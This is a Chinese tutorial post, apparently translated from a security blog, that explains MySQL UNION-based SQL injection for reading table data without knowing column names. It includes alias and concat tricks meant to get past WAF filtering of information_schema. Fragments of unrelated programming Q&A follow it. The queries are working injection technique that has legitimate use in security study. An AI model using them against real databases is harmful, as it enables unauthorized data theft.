MySQL在不知道列名情况下的注入详解
前言
最近感觉脑子空空，全在为了刷洞去挖洞，还是回归技术的本身让自己舒服些。好了，下面话不多说了，来一起看看详细的介绍吧
前提
以下情况适用于 MySQL < 5版本，或者在 MySQL >= 5 的版本[存在information_schema库]，且已获取到库名和表名
① 当只能获取到表名，获取不到列名或者只能获取到无有效内容的列名情况【例如 id】
② 当希望通过information_schema库中的表去获取其他表的结构，即表名、列名等，但是这个库被WAF过滤掉的情况
其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些，因为对我来说，一般遇到waf就放弃了（菜的真实23333）
解决
正常的查询：
以下是正常查询 test 库中的 user 表内容
select * from user;
UNION查询:
select 1,2,3,4 union select * from user;
数字对应列查询：
可以使用数字来对应列来进行查询，如 2 对应了表里面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
别名代替查询：
当反引号 ` 不能使用的时候，可以使用别名来代替，如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
多列合并查询：
同上：这里反引号不能用的话，一样可以使用别名代替
select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;
仅作翻译以及思路整理
原文链接：https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
总结
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，谢谢大家对小牛知识库的支持。
-
我知道我可以给单只熊猫重新命名。DataFrame列具有： 但是我想在不知道列名称的情况下重命名它（基于它的索引-尽管我知道字典没有）。我想重命名第1列，如下所示： 但是在DataFrame.columns dict中没有“1”条目，因此不进行重命名。我怎样才能做到这一点？
-
我想知道如何编译。不知道公共类名的java文件。 提供一个示例用例：我正在操作一个沙盒，允许用户向我发送一个字符串。我将该字符串写入。我编译的java文件评估生成的类并回复输出。 ?????.Java语言 如果我随机分配？？？？？。java是一个名称，例如test。java并运行命令javac测试。那么它就会失败 错误：类HelloWorld是公共的，应该在名为HelloW的文件中声明orld.j
-
问题内容： 这是我的json： 有什么方法可以在不知道键是什么的情况下访问此数组中的键和值（在javascript中）？ 我的json这样构造的原因是，我通过jquery调用的网络方法正在返回字典。如果无法使用上述方法，那么我需要对返回数据的方式进行哪些更改？ 这是我的网络方法的概述： 问题答案： 您可以使用该构造遍历对象的任意属性：
-
这感觉是一个非常愚蠢的问题，但我缺乏JS知识加上缺乏AWS知识让我陷入困境！我只是想掌握基本的AWS堆栈，即Lambda/Dynamo/API网关，以进行一些基本的API工作。 如果我想要一个简单的APIendpoint来处理PUT请求，例如。如果我有一个DynamoDB表，它的复合主键是和，我可以使用下面的代码片段来获取未知数据（设置模式时未知的属性），但这显然效果不佳 我可以使用以下 JSON
-
我使用键值存储作为我的Go语言应用程序的后端，日期作为键（保持条目排序），json文档作为值。json的顶级命名空间（）以及和存在于我存储的每个json文档中，但在其他方面存在一些差异（尤其是关于一些嵌套的json数据），所以当keyI从数据库中提取时，我真的不知道我在循环浏览的任何时间提取了什么。这是json数据的示例 当我从数据库中提取数据时，我要做的第一件事是将每个条目解组到＜code＞ma
-
问题内容： 我有一个电子表格，该电子表格由另一台服务器更新（不受我的控制），我需要自动将数据导入SQL2005。数据始终是电子表格的第一页。但是，该工作表的名称根据行数而变化。 有没有一种方法可以运行SSIS作业，该作业可以从Excel中提取数据而无需事先知道工作表名称？它似乎依赖于工作表名称作为数据源，但是我想告诉它“工作表编号1”或类似的名称。 问题答案： 我可以将工作表名称编写为SSIS用户